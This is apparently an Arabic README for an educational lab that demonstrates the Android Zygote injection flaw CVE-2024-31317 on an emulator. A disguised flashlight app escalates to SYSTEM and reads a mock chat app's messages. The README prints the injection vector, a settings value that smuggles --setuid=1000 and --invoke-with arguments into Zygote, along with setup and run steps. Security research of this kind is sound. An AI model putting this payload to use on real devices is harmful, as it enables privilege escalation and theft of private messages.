
عرض تعليمي لثغرة CVE-2024-31317 Zygote Injection Vulnerability على Android
يعرض هذا المختبر CVE-2024-31317، وهي ثغرة أمنية خطيرة في أندرويد تسمح لتطبيق ضار برفع صلاحياته إلى مستوى SYSTEM (UID 1000) وتجاوز حماية الصندوق الرملي (sandbox) لقراءة بيانات التطبيقات الأخرى في الوقت الفعلي.
| المرحلة | الوصف | المرئي |
|---|---|---|
| 1 | المستخدم يقوم بتثبيت تطبيق "Flashlight Pro" الذي يبدو بريئًا | 🔦 |
| 2 | التطبيق يستغل CVE-2024-31317 للحصول على صلاحية SYSTEM | 💉 |
| 3 | خدمة بمستوى SYSTEM تقرأ رسائل "SecureChat" | 👁️ |
| 4 | تظهر الرسائل المسروقة على لوحة التحكم الحية | 📊 |
ZygoteExploitDemo/
├── 📱 apps/
│ ├── SecureChat/ # Victim app (Jetpack Compose)
│ │ ├── Encrypted messages stored in SQLite
│ │ └── Simulates WhatsApp-style encryption
│ │
│ ├── FlashlightPro/ # Malicious app with exploit
│ │ ├── Normal flashlight UI (distraction)
│ │ ├── Background exploit service
│ │ └── WRITE_SECURE_SETTINGS permission
│ │
│ └── MonitorService/ # SYSTEM-level reader
│ ├── Runs with UID 1000 after exploit
│ ├── Reads SecureChat database
│ └── Exfiltrates to dashboard
│
├── 📊 dashboard/ # Flask web dashboard
│ └── app.py # Shows stolen messages live
│
├── 📜 scripts/ # Automation scripts
│ ├── setup_vulnerable_emulator.sh
│ ├── build_all_apps.sh
│ ├── install_all_apps.sh
│ ├── run_exploit.py
│ └── monitor_logs.sh
│
├── 🎯 exploits/ # Exploit information
│ ├── CVE-2024-31317.md
│ └── payloads.txt
│
└── 📁 tamplates/ # Code templates
├── exploit_template.java
└── dashboard_template.html
توجد ثغرة CVE-2024-31317 في كيفية تعامل عملية Zygote في أندرويد مع إعداد النظام hidden_api_blacklist_exemptions. بسبب نقص تنقية المدخلات، يمكن للمهاجم حقن أحرف سطر جديد لإضافة وسائط عشوائية إلى أوامر Zygote.
متجه الهجوم:
Settings.Global.putString(
contentResolver,
"hidden_api_blacklist_exemptions",
"LClass1;->method1(\n" +
"7\n" +
"--setuid=1000\n" + // Run as SYSTEM
"--setgid=1000\n" + // Run as SYSTEM group
"--invoke-with\n" +
"am start-service ...;\n"
);
| الإصدار | الحالة |
|---|---|
| Android 9 - 14 | ❌ قابلة للاختراق (قبل تصحيح يونيو 2024) |
| Android 14+ | ✅ تم التصحيح (تحديث أمني يونيو 2024) |
| Android 15+ | ✅ آمنة |
git clone https://github.com/GitAmanS/ZygoteExploitDemo.git
cd ZygoteExploitDemo
cd scripts
chmod +x *.sh
./setup_vulnerable_emulator.sh
# Start the emulator
emulator -avd vulnerable_android_12
# In a new terminal
cd ZygoteExploitDemo/scripts
./build_all_apps.sh
./install_all_apps.sh
cd ../dashboard
pip3 install flask flask-cors
python3 app.py
📱 افتح http://localhost:5000 في متصفحك
cd ../scripts
python3 run_exploit.py
🎬 فيديو توضيحي قريبًا
WRITE_SECURE_SETTINGS/data/data/com.securechat/databases/المساهمات مرحب بها! يرجى:
مجالات المساهمة:
رخصة MIT - انظر ملف LICENSE للتفاصيل
أمان - @GitAmanS
إذا وجدت هذا تعليميًا، فضلاً أعطه نجمة! ⭐
مُصنَّع لباحثي الأمن، بواسطة باحث أمني
تذكر: القوة الكبيرة تأتي بمسؤولية كبيرة 🕷️